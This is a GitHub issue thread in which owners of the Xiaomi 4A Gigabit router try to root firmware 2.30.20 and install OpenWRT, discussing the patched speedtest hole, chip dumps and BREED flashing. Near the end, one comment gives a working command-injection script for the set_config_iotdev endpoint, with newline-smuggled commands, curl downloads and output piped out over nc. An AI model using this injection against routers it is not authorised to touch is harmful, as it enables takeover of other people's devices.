-
Notifications
You must be signed in to change notification settings - Fork 279
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Not working R4A (Xiaomi 4a Gigabit) 2.30.20 #141
Comments
Seems your machine cannot connect to the router. I cant help much, as this depends on your network setup. My suggestion would be that you try to simplify your setup as much as possible |
This is not the issue, because I have no problem connecting to the router with DHCP or manual IP (192.168.31.2). The network is also working perfectly with modem connected to WAN. I also tried power cycling the router several times and doing the script immediately upon bootup, no difference. I also tried in Windows 10 with Docker, no difference. My 4a Gigabit is manufactured 07/2022. Is there something I can check for you on the router itself? |
Not really :( I do not have access to a router to test it out, I do not think I can help |
same situation, all works well until connecting to the router with telnet or ssh, any solution? thx |
same situation, i tried to invade in several versions of this tool, but none of them could allow me to connect through telnet. i spent hours trying different version, other guys don't waste time on it, it won't work. i think i would got refund on the router i bought, it disappointed me. |
Version 3.0.10 is reported to work: #145 |
Added information to readme, thanks! |
Maybe the security issue has been fixed officially, I uncomment the result of upload code, and got the following error: Means "Couldn't unzip, the file is corrupt" |
I've dumped the chip and will reverse engineer the differences and look for the reason and maybe a way to hack it again. The cgi-bin/upload file is the same, now I have to look which file will be executed for the c_upload api endpoint. The hack is pretty simple, as long we get a few files on the router |
any update |
I am afraid it's not about c_upload, maybe testing net speed will not evaluate the command in the url anymore, so it will be hard, or even impossible. Anyway, it's my opinion, good luck. |
I will see what happens. If everything fails, we have to programm the chip the hardcore way and downgrade it to a vulnerable firmware or openwrt directly |
So, I looked up what the vulnerable script was. Its /usr/bin/upload_speedtest, or was. The upload saved a file in /tmp/ named speedtest_urls.xml with the script and /usr/bin/speedtest would execute the wget command and that, loaded the script. Sadly, the code changed: 2.28.69 and ` local filename = "" To the new 2.30.20: local filename = "" And that's the reason the attack is not working anymore. (For noncoders, they did not load the /tmp file, they use the internal file that is in the firmware, and we can't change that) I upload the bindump of 2.30.20, and we could look for another bug, but atm, our best solution would be downgrading the router to a vulnerable version or directly install OpenWRT with a programmer. Extracted dump with Binwalk (on Linux, you need root or sudo -s) Direct Bin dump from the chip I also tried to activate the serial console, but it refused the new parameters, here is the serial console output Changed uboot code: |
Thanks for your efforts, and I can't make it work for serial console, so the boot delay won't let you download file from tftp? |
Sadly no. First: `U-Boot 2018.09 (Feb 22 2022 - 03:57:56 +0000), Build: jenkins-common_router_openwrt_bash_ota_publish-73 CPU: MediaTek MT7621AT ver 1, eco 3 In: uartlite0@1e000c00 restore_defaults: You see the "Warning - bad crc", this happens when I modify the bin dump and flash it onto the router and it boots. I've tried to downgrade the firmware to various versions, everytime, the router downloads the img from my PC and then says "nope, magic hex number wrong" and stops there. I did not try a squash or root fs of OpenWRT though, but I guess it's the same issue. ATM, I'm searching for some bugs. I found something about the config backup, it's encrypted with AES, but the key in /squash-fs/etc/config/cfgbackup is just a hint, I need the cipher and if a key is somewhere or a salt. The LUA files may have it, but I didn't find anything there yet. My hope is, I can inject code via the upload of a config. But this will take some time. I'm unhappy myself, it's the second router in 2 weeks I can't get running with OpenWRT :( |
I almost come here every day to see if there is any update. Waiting for your progress, my friend 👍 |
Me too |
To anyone who is interested, here is my last thought about this, and maybe it's wrong, just for advise: The problem is not only about hacking into the system, but the 5g chip has changed(now mt7613ben), so the Openwrt firmware is not suitable anymore. We not only need the new hacking way, but also new firmware. |
That would suck tbh. If the chip is not supported by the Linux Kernel. We could ask in the OpenWrt Forum for it, but so far, I found no way around it. But I have more projects running, I can't put that much time into this. Making a 21.x image with the Kernel Driver would be something, V3 need. But that's maybe the reason why downgrading the firmware did not work. |
where I can download the 2.30.20 factory firmware? |
So far, I didn't find a binary of it anywhere. I dumped my chip and that's it. But with the hardware changes, I guess you can't flash it back onto your chip. |
Then 2.30.20 cannot downgrade to the 2.28.69? |
I guess no, because I couldn't do it with any method I found. I tried the tftp debricking version too. The box loads the image, but then stops and says "the magic number is wrong". Changing the binary image is not working btw, I tried and it recovered the default config. The bootloader is the problem here. |
then, could we re-flash the bootloader from serial connection? |
I don't know, I have a chip programmer to do it, you can also test my dump on your chip, but you can also put a chip dump somewhere for me, I'll try it. |
I just flash my 4AG from openwrt back to factory image via TFTP server, failed on v3.0.24 (File too large! / Header check error! / but success on v2.28.69, then use OpenWRTInvasion OK! |
@fengjiaqi927 |
I reboot my 4AGv2 and flash the 3447034491.bin at first. Then I download the packages in 3449151089 and try to install by follow step : A simple tutorial for installing packages locally:
|
hello! can you please also build ipk openvpn (openvpn-openssl and luci-app-openvpn) for kernel version 5.4.216? |
@ivan-semkin-gismart , I tried to build one for you for kernel 5.4.216, but failed a few times. was able to built one with 5.4.224, you can browse the folder "Luci" to find ipks etc... Hope that this could help you anyway. |
@fengjiaqi927 , 👍 Great!! Glad it all worked out smoothly! |
@MrTaiKe I don't think that it will work due to kernel version mismatch. Can you maybe try to build wireguard-tools then? And luci-app-wireguard |
@ivan-semkin-gismart , did you look into the zip file? It also has the sysupgrade.bin. It was a base system built ONLY with openvpn-openssl and luci-app-openvpn, a very slim bin (image). Perhaps, you could use this bin to start with other ipk(s). Btw, I also wonder if you still could install them onto any kernel version with 5.4.xx ? what do you think? If none of them works, let me know. I will try |
@MrTaiKe thank you for the help, I was able to get openvpn working |
@ivan-semkin-gismart, I am glad to hear it works. Here is a also link for wireguard ipk(s) with Kernel 5.4.224 |
@MrTaiKe I was able to install it on 5.4.xx, I guess only kernel modules are completely incompatible (kmod-*) |
i launch telnet up, use your way。。 Nice Russia guy!👍👍👍 but telnet login fail.. this is the telnet output copy so what is your telnet root password , the words i wana |
I've broke 3 Routers with the script without problem, so please try it and give me a feedback. Maybe I have the time to reimplement the script a bit better, include the old attack, make it a bit more modular if they patch the backdoor one day and we have to use another approach. |
tks, i have pass. now i can "drive car" every where |
tks |
thx |
Micro shell for Xiaomi R4A - answer to acecilia/OpenWRTInvasion#141
Hi folks, Building upon the previous post, I ended up coding a micro interactive shell for my Xiaomi RA4 to install busybox. Here are the full commands to install telnet:
Open a new terminal session and place it side by side so you see the result of the commands on the router
If all goes well, you can Here's an example:
|
(variation from previous post to install BREED directly and skip busybox altogether, I considered merging them both, but busybox might be of interest to someone else) Building upon the previous post, I ended up coding a micro interactive shell for my Xiaomi RA4 to flash BREED directly. BREED flashing instructions are courtesy of (@MrTaiKe - full readme) and are AT YOUR OWN RISK. You may brick your device, you're on your own :) Here are the full commands to flash BREED:
Open a new terminal session and place it side by side so you see the result of the commands on the router
It should write, then reboot (the message will say "rebooting"). After this, the router should have faint blue LEDs. Go to http://192.168.1.1/ and be faced with the BREED.
And voila! You should have OpenWRT. Note: before flashing, you can confirm the device model in the micro-shell by typing the commend |
Hi! Where can I find bssid and user_id values? |
For me, no values were needed. XXXXXX worked. I hardcoded it in my script actually. |
Thank you for the quick reply! |
@AlexeyShakov try my instructions on #141 (comment) - it's step by steps and I believe I had the same firmware. At your own risk. |
hello guys hope you are doing well , I ve gotten a Chinese version , after i had followed so many methods and at the end being abled to install the breed bootloader, i m now stuck to move further and not being able to install openwrt , when I try to install the openwrt either by the breed web or using telnet , it is showing installed with the faint blue led , then nothing is happening and the router stops working and only after i hard reset it , only then modem starts the breed again, by the way i could install openwrt initramfs and i could see the system info(as it might help) as kernel version : 5.15.134 any ideas ? I would really appreciate any help as i m on this for a couple of days straight now Regards! |
Successfully Upgraded to OpenWRT, Thanks for the Guide!First of all, thank you so much for your detailed steps on using the I wrote a small bash script to automate the exploit: #!/bin/bash
ROUTER_IP="192.168.31.1"
STOK="929d8ae78a8318f1a891469318b86720"
BSSID="00:00:00:00:00:00"
USER_ID="admin"
COMMAND=$1
URL_ENCODED_COMMAND=$(echo -n "$COMMAND" | jq -sRr @uri)
URL_ENCODED_BSSID=$(echo -n "$BSSID" | jq -sRr @uri)
URL="http://$ROUTER_IP/cgi-bin/luci/;stok=$STOK/api/misystem/set_config_iotdev?bssid=$URL_ENCODED_BSSID&user_id=$USER_ID&ssid=-h%0A$URL_ENCODED_COMMAND%0A"
curl "$URL" Unfortunately, I couldn't get SSH or Telnet to work, as the ports weren't opening. But using your method, I was able to upload the OpenWRT firmware: Host on Linux:
python3 -m http.server
bash -x 4a-gigabite-edition.sh "curl http://192.168.31.IP:8000/22.03.2-4a-gigabit-squashfs-sysupgrade.bin --output /tmp/22.03.2-4a-gigabit-squashfs-sysupgrade.bin"
Additionally, I used
bash -x 4a-gigabite-edition.sh "md5sum /tmp/* | nc 192.168.31.IP 4444"
bash -x 4a-gigabite-edition.sh "mtd -e OS1 -r write /tmp/22.03.2-4a-gigabit-squashfs-sysupgrade.bin OS1 2>&1 | nc 192.168.31.IP 4444" At first, I accidentally used an old version of the firmware, and my router got stuck with a red LED (wouldn't boot). To recover, I downloaded the stock Chinese firmware I then used TinyPXE After recovery, I used the correct OpenWRT 23.05.4 firmware for the bash -x 4a-gigabite-edition.sh "curl http://192.168.31.IP:8000/v2.bin --output /tmp/v2.bin | nc 192.168.31.IP 4444"
bash -x 4a-gigabite-edition.sh "md5sum /tmp/* | nc 192.168.31.IP 4444"
bash -x 4a-gigabite-edition.sh "mtd -e OS1 -r write /tmp/v2.bin OS1 2>&1 | nc 192.168.31.IP 4444" This time, everything worked perfectly, and OpenWRT booted successfully! Once again, thank you for your guide! OpenWRT is now running smoothly on my router, and this wouldn't have been possible without your detailed instructions. |
Thank you for explaining the steps that helped you perform the firmware change. Unfortunately I can't get this to work on my router, all commands end with an error of '{"code":0}%' The router interface indicates that I have the "4A Gigabit" version (I still don't understand if it has to say v2 or why that difference) and the firmware version is 2.30.500 The IP is the same (192.168.31.1) I don't know if these values should remain like this (since I can't find anything that resembles this within the interface): I really have no idea what to do, this is the only place where I know more They are close to my situation (at least I don't have it bricked, but I would like to be able to use this router with my other routers that already have openwrt). |
I have already managed to load OpenWRT, this great video perfectly shows the steps necessary to perform the firmware change. OpenWRT on the new Xiaomi 4A Gigabit v2 In the last steps of the video you must download the new firmware using |
Script appears to work, but ftp/ssh/telnet can not connect.
However it gets stok automatically.
This is Ubuntu 20.04.3 completely stock.
I also tried with option 2 to download needed files from remote github repository, no difference.
*Please note the Docker would not build correctly with either docker or sudo docker, so I git cloned OpenWRTInvasion and put my OpenWRT firmware in there.
Then I try
telnet 192.168.31.1
But I get
telnet: connect to address 192.168.31.1: Connection refused
same with ssh and ftp.
I assume this person had success with this version 2.30.20, but their advice isn't clear.
#135 (comment)
The text was updated successfully, but these errors were encountered: